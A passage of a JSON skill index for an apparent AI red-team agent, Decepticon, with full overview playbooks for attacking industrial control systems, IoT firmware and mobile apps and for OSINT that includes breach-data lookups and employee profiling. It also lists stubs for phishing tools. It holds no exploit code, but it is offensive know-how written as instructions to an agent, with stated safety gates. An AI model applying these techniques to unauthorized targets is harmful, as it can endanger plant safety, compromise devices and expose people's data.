GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md","title":"xs-leaks","category":"anthropic-skill","format":"markdown","content":"# xs-leaks\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xs-leaks/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md","title":"xss","category":"anthropic-skill","format":"markdown","content":"# xss\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xss/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md","title":"xxe","category":"anthropic-skill","format":"markdown","content":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ics/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ics/SKILL.md","title":"ics-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: ics-overview\ndescription: >\n Use when the target is an industrial control system or operational technology\n network running Modbus, BACnet, S7Comm/S7Comm Plus, DNP3, OPC-UA, or any\n PLC/HMI/SCADA stack. Engagements MUST set RoE flag\n industrial_safety_critical=true; this catalog gates every write-scope\n operation behind explicit operator confirmation regardless of HITL middleware.\nmetadata:\n skillogy:\n version: 1\n subdomain: ics\n when_to_use: \"ics ot industrial control modbus bacnet s7comm dnp3 opcua plc hmi scada safety-critical operational technology\"\n tags: ics, ot, scada, plc, hmi, modbus, bacnet, s7, dnp3, opcua\n mitre_attack: T0800, T0801, T0859, T0830, T0814, T0846\n safety_critical: true\n---\n\n# ICS / OT Operator Skill Catalog\n\nIndustrial engagements are not application security with longer rules of\nengagement — they are a different discipline. A miswritten Modbus coil\non a real plant kills people. This catalog is **read-mostly by default**;\nevery write-scope skill carries an explicit safety gate.\n\n## Hard rules\n\n1. **No writes without OPPLAN.safety_critical confirmation**. The\n middleware refuses writes when the active OPPLAN objective does not\n carry `safety_critical_confirmed=true`. Bypass requires operator\n signature in `/workspace/safety-attestation.txt`.\n2. **Read-only protocol discovery first**. Identify what's on the wire\n before any active probing. Many ICS protocols are unauthenticated;\n a single malformed read can crash an old PLC.\n3. **Out-of-band physical safety**. The blue team includes plant ops.\n A ConOps with `blue_team.plant_ops_phone` is mandatory for engagements\n on active production lines.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the protocol assessment guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **modbus-discovery** | Read-only Modbus TCP/RTU enumeration, function code 3/4 polling |\n| **modbus-write** | **GATED** Write coils / registers; safety gate enforced |\n| **bacnet-discovery** | BACnet/IP Who-Is, object enumeration, device profile |\n| **s7comm** | Siemens S7 / S7Comm Plus enumeration via Snap7 / python-snap7 |\n| **dnp3** | DNP3 outstation / master discovery; integrity poll |\n| **opcua** | OPC-UA browse, anonymous auth check, certificate analysis |\n| **hmi-web** | HMI web stacks (Wonderware, Iconics, Schneider) — known CVEs |\n| **engineering-software** | TIA Portal / Studio 5000 / Unity Pro project extraction |\n\n## Protocol assessment\n\n1. **Passive observation**: tap a SPAN port if available. Identify protocols\n on the wire (`tshark -Y modbus || tshark -Y bacnet || ...`).\n2. **Network-layer discovery**: nmap with `-sV --script modbus-discover`,\n `bacnet-info`, `s7-info`, `dnp3-info` (NSE scripts ship in Kali by\n default; some are slow — set `-T2` for production networks).\n3. **Function-code-3 polling**: read holding registers from every Modbus\n device discovered. Log register maps to the knowledge graph as\n `:Service` nodes with `protocol=modbus`.\n4. **Identify the safety integrity level (SIL)** of any device touched.\n SIL 3+ devices NEVER get write probes without plant-ops sign-off.\n5. **Engineering software attack path**: if you can reach the engineering\n workstation, extract the project archive (.s7p, .acd, .stp). The\n project file is the crown jewel — it reveals the entire process model.\n\n## Detection gap\n\nICS networks rarely have host-based detection on PLCs/RTUs themselves —\nthe detection stack lives on the engineering workstation, the historian,\nand any IT/OT gateway. Relevant Sigma detection patterns include:\n\n- Function-code anomalies (write to coils outside normal ranges).\n- Connection sources outside the documented MES/SCADA IP set.\n- TIA Portal / Studio 5000 project download events.\n\n## Out of scope by default\n\nActive glitching of PLC firmware; firmware upload to PLCs; safety\ncontroller writes — all of these require an explicit RoE annex signed\nby the asset owner. The default ICS RoE template in `soundwave/` includes\nthis annex skeleton.\n","frontmatter":{"name":"ics-overview","description":"Use when the target is an industrial control system or operational technology network running Modbus, BACnet, S7Comm/S7Comm Plus, DNP3, OPC-UA, or any PLC/HMI/SCADA stack. Engagements MUST set RoE flag industrial_safety_critical=true; this catalog gates every write-scope operation behind explicit operator confirmation regardless of HITL middleware.\n","metadata":{"skillogy":{"version":1},"subdomain":"ics","when_to_use":"ics ot industrial control modbus bacnet s7comm dnp3 opcua plc hmi scada safety-critical operational technology","tags":"ics, ot, scada, plc, hmi, modbus, bacnet, s7, dnp3, opcua","mitre_attack":"T0800, T0801, T0859, T0830, T0814, T0846","safety_critical":true}},"isInternal":false,"tokens":1065,"sizeBytes":4291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md","title":"binwalk-extract","category":"anthropic-skill","format":"markdown","content":"# binwalk-extract\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md","title":"ble-gatt","category":"anthropic-skill","format":"markdown","content":"# ble-gatt\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md)","tokens":300,"sizeBytes":250},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md","title":"bootloader-uboot","category":"anthropic-skill","format":"markdown","content":"# bootloader-uboot\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md)","tokens":300,"sizeBytes":274},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md","title":"dev-mem","category":"anthropic-skill","format":"markdown","content":"# dev-mem\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md)","tokens":300,"sizeBytes":247},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md","title":"firmware-acquisition","category":"anthropic-skill","format":"markdown","content":"# firmware-acquisition\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md","title":"hardcoded-creds","category":"anthropic-skill","format":"markdown","content":"# hardcoded-creds\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md","title":"lorawan-otaa","category":"anthropic-skill","format":"markdown","content":"# lorawan-otaa\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md)","tokens":300,"sizeBytes":262},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md","title":"ros2-dds-attack","category":"anthropic-skill","format":"markdown","content":"# ros2-dds-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/SKILL.md","title":"iot-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: iot-overview\ndescription: >\n Use when the engagement target is IoT, embedded Linux, RTOS, or any device\n reachable via UART/JTAG/SWD or by extracting its firmware. Covers firmware\n acquisition, binwalk extraction, filesystem mounting, default-credential\n hunting, bootloader attacks, wireless protocol sidebands (BLE, Zigbee,\n Z-Wave, LoRaWAN, sub-GHz).\nmetadata:\n subdomain: iot\n when_to_use: \"iot embedded linux rtos uart jtag swd firmware binwalk filesystem bootloader ble zigbee z-wave lorawan sub-ghz wireless\"\n tags: iot, firmware, embedded, binwalk, uart, jtag, ble, zigbee\n mitre_attack: T1542, T1542.005, T1601, T1499.004\n---\n\n# IoT / Embedded Operator Skill Catalog\n\nThis catalog covers the surface area between hardware reconnaissance and\nruntime exploitation of IoT and embedded targets. Wireless sidebands\n(BLE / Zigbee / Z-Wave / LoRaWAN / sub-GHz) live alongside firmware-level\nattacks because IoT engagements routinely chain across both.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/iot/firmware-acquisition/SKILL.md` | Vendor portals, OTA capture, SPI flash dump, eMMC chip-off |\n| `/skills/standard/iot/binwalk-extract/SKILL.md` | binwalk + firmware-mod-kit extraction; squashfs / jffs2 mount |\n| `/skills/standard/iot/hardcoded-creds/SKILL.md` | Strings, shadow, busybox httpd, telnet logs |\n| `/skills/standard/iot/bootloader-uboot/SKILL.md` | U-Boot console interrupt; environment variables; secure-boot bypass |\n| `/skills/standard/iot/dev-mem/SKILL.md` | /dev/mem, /dev/kmem, MTD writes on embedded Linux |\n| `/skills/standard/iot/ble-gatt/SKILL.md` | GATT enumeration, characteristic read/write without auth, pairing downgrade |\n| `/skills/standard/iot/zigbee-touchlink/SKILL.md` | Touchlink commissioning abuse, well-known transport key, ZCL command abuse |\n| `/skills/standard/iot/z-wave/SKILL.md` | S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes |\n| `/skills/standard/iot/lorawan-otaa/SKILL.md` | OTAA join, frame-counter replay, downlink injection |\n| `/skills/standard/iot/sub-ghz/SKILL.md` | 433/868/915 MHz capture + replay (HackRF, Flipper Zero, RTL-SDR) |\n\n## Workflow\n\n1. **Inventory hardware**: photograph PCB; identify SoC, flash, debug pads\n (UART = 4-pin pattern; JTAG = TAP; SWD = 2-pin SWDIO/SWCLK).\n2. **Acquire firmware**: vendor update portal first; OTA proxy capture\n second; SPI flash dump third; eMMC chip-off last.\n3. **Extract**: `binwalk -eM `, then mount squashfs / jffs2 / ubifs.\n4. **Triage**: search strings for credentials, AWS keys, MQTT topics, hardcoded\n IPs; identify backdoor accounts (busybox /etc/passwd, telnet/SSH stanzas).\n5. **Wireless co-channels**: if the device speaks BLE / Zigbee / Z-Wave /\n LoRaWAN, capture commissioning, replay, attempt key extraction.\n6. **Cloud-IoT**: if the device backhauls to a vendor cloud, pivot to the\n mobile companion app and the cloud API.\n\n## Hardware bench tools (sandbox tools)\n\n- Logic analyzer: Saleae Pro 8 / Sigrok PulseView.\n- Flash interface: ch341a + SOIC clip.\n- Debug interface: BusPirate v5, J-Link, Black Magic Probe.\n- Glitching: ChipWhisperer-Nano / Pico.\n- Wireless: HackRF One, Sonoff Zigbee 3.0 Dongle E, RTL-SDR Blog v4.\n\n## Safety\n\nIoT engagements often touch consumer devices that the operator owns but\nthat have shared cloud accounts (vendor telemetry). RoE must enumerate\nwhich clouds may be probed. ConOps `blue_team` field should declare the\nvendor IR contact when in scope so a fail-safe trip can be reported.\n","frontmatter":{"name":"iot-overview","description":"Use when the engagement target is IoT, embedded Linux, RTOS, or any device reachable via UART/JTAG/SWD or by extracting its firmware. Covers firmware acquisition, binwalk extraction, filesystem mounting, default-credential hunting, bootloader attacks, wireless protocol sidebands (BLE, Zigbee, Z-Wave, LoRaWAN, sub-GHz).\n","metadata":{"subdomain":"iot","when_to_use":"iot embedded linux rtos uart jtag swd firmware binwalk filesystem bootloader ble zigbee z-wave lorawan sub-ghz wireless","tags":"iot, firmware, embedded, binwalk, uart, jtag, ble, zigbee","mitre_attack":"T1542, T1542.005, T1601, T1499.004"}},"isInternal":false,"tokens":970,"sizeBytes":3518},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md","title":"sub-ghz","category":"anthropic-skill","format":"markdown","content":"# sub-ghz\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md)","tokens":300,"sizeBytes":247},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md","title":"z-wave","category":"anthropic-skill","format":"markdown","content":"# z-wave\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md)","tokens":300,"sizeBytes":244},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md","title":"zigbee-touchlink","category":"anthropic-skill","format":"markdown","content":"# zigbee-touchlink\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md)","tokens":300,"sizeBytes":274},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md","title":"il2cpp","category":"anthropic-skill","format":"markdown","content":"# il2cpp\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/il2cpp/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md","title":"android","category":"anthropic-skill","format":"markdown","content":"# android\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md)","tokens":300,"sizeBytes":253},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md","title":"flutter","category":"anthropic-skill","format":"markdown","content":"# flutter\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md)","tokens":300,"sizeBytes":253},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md","title":"dynamic","category":"anthropic-skill","format":"markdown","content":"# dynamic\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/ios/dynamic/SKILL.md)","tokens":300,"sizeBytes":261},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/mobile/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/SKILL.md","title":"mobile","category":"anthropic-skill","format":"markdown","content":"---\nname: mobile-overview\ndescription: >\n Use when the engagement target is an Android (APK / AAB) or iOS (IPA)\n application. Covers static analysis (jadx, apktool, class-dump),\n dynamic instrumentation via Frida and Objection, SSL-pinning bypass,\n root/jailbreak detection bypass, deep-link / URL-scheme abuse,\n exported-component attacks, IPC redirection, WebView vulnerabilities,\n and biometric / Face ID / Touch ID bypass.\nmetadata:\n subdomain: mobile\n when_to_use: \"mobile android ios apk aab ipa jadx apktool frida objection ssl pinning bypass root jailbreak detection deep link url scheme exported component ipc webview biometric face id touch id\"\n subdomain: mobile\n tags: mobile, android, ios, frida, objection, ssl-pinning, jadx, apktool\n mitre_attack: T1635, T1623, T1517, T1521, T1517.001\n---\n\n# Mobile Operator Skill Catalog\n\nMobile is 40% of modern bug-bounty programs and is conspicuously absent\nfrom Strix and XBOW commercial. This catalog covers both platforms with\nshared Frida tooling for runtime work.\n\n## Playbooks — Android\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the Workflow in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **apk-triage** | apktool decode + jadx -d for source recovery |\n| **manifest-analysis** | exported components, permissions, deeplinks |\n| **insecure-storage** | SharedPreferences / SQLite / external storage scans |\n| **intent-redirection** | Intent forwarding / pendingIntent abuse |\n| **webview-flaws** | JavaScriptInterface, file:// access, mixed content |\n| **frida-ssl-pin-bypass** | OkHttp / TrustKit / Cordova pin-bypass scripts |\n| **root-detect-bypass** | Common root-detection libraries and their bypasses |\n\n## Playbooks — iOS\n\n| Technique | Use for |\n|---|---|\n| **ipa-triage** | class-dump-z + Hopper; Mach-O headers; entitlements |\n| **keychain-acl** | Keychain ACL misconfigurations; `kSecAccessControl` flags |\n| **url-scheme-abuse** | Universal links + URL scheme handler attacks |\n| **xpc-services** | XPC interface enumeration; unauthenticated XPC services |\n| **frida-trust-killer** | SSL Kill Switch + Frida pin-bypass for iOS apps |\n| **jailbreak-detect-bypass** | DTAppJailbreakDetectorSwift, Liberty Lite, common patterns |\n\n## Cross-platform\n\n| Technique | Use for |\n|---|---|\n| **frida-bridge** | frida-server install on emulator / jailbroken device; basic scripts |\n| **objection-walkthrough** | Objection cheatsheet (env, memory, sqlite, classes) |\n| **firebase-misconfig** | Firebase /Firestore RLS / Storage / Auth bypasses |\n| **mobile-api-testing** | Burp / Caido proxy → mobile API endpoint enumeration |\n\n## Workflow\n\n1. **Triage**: jadx for Android, class-dump for iOS. Search strings for\n API endpoints, Firebase config, AWS keys.\n2. **Static**: AndroidManifest.xml exported components; iOS Info.plist\n URL schemes + entitlements.\n3. **Dynamic setup**: Frida server on a rooted emulator (Android) or\n jailbroken physical device (iOS); Objection for quick inspection.\n4. **SSL pin bypass**: Frida script; verify HTTPS now visible in Burp.\n5. **API enumeration**: re-route the app through the proxy; spider\n reachable endpoints; export to Burp project for later web-recon-style\n testing.\n6. **Insecure storage**: pull `/data/data//` (Android) or app\n container (iOS); grep for credentials, tokens, PII.\n7. **Component-level attacks**: send crafted Intents (`adb shell am\n start ...`) or URL-scheme payloads (`xcrun simctl openurl ...`).\n\n## Tools sandbox\n\n- adb + emulator / physical device.\n- jadx, apktool, dex2jar, jd-gui.\n- class-dump, Hopper Disassembler, IDA Free (host-side).\n- Frida-server (per device), frida (host), objection.\n- mitmproxy / Burp Suite Community / Caido (PR #304 lands the LangChain\n Caido tool bundle).\n- MobSF (`mobsf` Docker image) for automated triage when speed matters.\n","isInternal":false,"tokens":1030,"sizeBytes":4063},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/osint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/osint/SKILL.md","title":"osint","category":"anthropic-skill","format":"markdown","content":"---\nname: osint-overview\ndescription: >\n Use when the engagement requires passive reconnaissance only — no\n packets to the target's authoritative infrastructure. Splits off from\n the Recon agent so bug-bounty and pre-engagement work can run with\n outbound-only network policy. Maltego, Shodan, Censys, Hunter.io,\n breach-data lookups, GitHub code search, Wayback Machine archives,\n certificate transparency, BGP/ASN mapping.\nmetadata:\n skillogy:\n version: 1\n subdomain: osint\n when_to_use: \"osint passive reconnaissance maltego shodan censys hunter breach data github code search wayback machine certificate transparency bgp asn outbound only bug bounty\"\n subdomain: osint\n tags: osint, passive-recon, shodan, censys, breach-data, ct-logs, bgp\n mitre_attack: T1589, T1590, T1591, T1593, T1594, T1596\n network_policy: outbound-only\n---\n\n# OSINT-Only Operator Skill Catalog\n\nThis catalog is **passive**. No packets reach the target. Sandbox network\npolicy must restrict outbound to known-OSINT endpoints only (Shodan,\nCensys, Hunter, GitHub API, crt.sh, Wayback, etc.).\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the passive analysis guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **domain-pivots** | Whois history, reverse-IP, related-domain enumeration |\n| **ct-logs** | crt.sh / Censys cert search for subdomain enumeration |\n| **shodan-fingerprint** | Shodan host search; service / banner / ssl.cn pivots |\n| **censys-pivots** | Censys cert/host/services pivots |\n| **github-code-search** | GitHub code search for org's leaked secrets / config |\n| **wayback-archives** | Wayback Machine API; retired endpoints, deleted docs |\n| **breach-data** | HIBP / DeHashed (RoE-permitted only); credential reuse paths |\n| **employee-profiling** | LinkedIn search (Sales Nav / manual), email-format inference |\n| **asn-bgp** | ASN ownership, BGP table snapshots, RIR records |\n| **maltego** | Maltego CLI graph projection; transform chain |\n| **cryptocurrency** | Chain analysis (Etherscan / Mempool.space / Arkham) for crypto-adjacent targets |\n| **geospatial** | Image geolocation, EXIF mining, satellite/streetview cross-reference |\n\n## Passive analysis\n\n1. **Seed**: from the engagement target (domain, company name, brand).\n2. **Domain layer**: whois, reverse-IP, CT logs → enumerate every\n subdomain and adjacent domain.\n3. **Service layer**: Shodan + Censys against discovered IPs → service\n inventory (NO probing; just consume cached scan data).\n4. **Code layer**: GitHub code search for the target's org name, domain\n names, internal package names, AWS account IDs.\n5. **People layer**: employees via LinkedIn; email format inference;\n HaveIBeenPwned for credential reuse.\n6. **Infrastructure layer**: BGP + ASN ownership; Wayback retired\n endpoints; SSL/TLS cert history.\n7. **Synthesis**: project the graph into Neo4j as a pre-engagement map.\n Active confirmation requires RoE permission and is outside this\n passive-only catalog.\n\n## Network policy\n\n```\n[osint-operator container] → outbound to: shodan.io, api.censys.io,\n api.hunter.io, api.github.com,\n crt.sh, archive.org, hibp/api/v3,\n maltego.com, etherscan.io, ...\n NO outbound to the engagement target.\n```\n\nThe sandbox-net policy for OSINT engagements pins this allowlist. Any\nattempted egress to the actual target IP/domain triggers a SafeCommand\nrefusal.\n\n## Why split from Recon\n\nRecon is active by default — port scans, version probing, directory\nbrute-forcing. Bug-bounty programs and pre-engagement scoping work\nexplicitly forbid touching production. OSINT-only enforces the\nno-touch contract structurally rather than relying on the agent prompt\nto remember.\n","isInternal":false,"tokens":990,"sizeBytes":4046},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md","title":"evilginx2-proxy","category":"anthropic-skill","format":"markdown","content":"# evilginx2-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md)","tokens":300,"sizeBytes":279},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md","title":"gophish-campaign","category":"anthropic-skill","format":"markdown","content":"# gophish-campaign\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md","title":"html-smuggling-lure","category":"anthropic-skill","format":"markdown","content":"# html-smuggling-lure\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md`\n\n[View Raw Content on 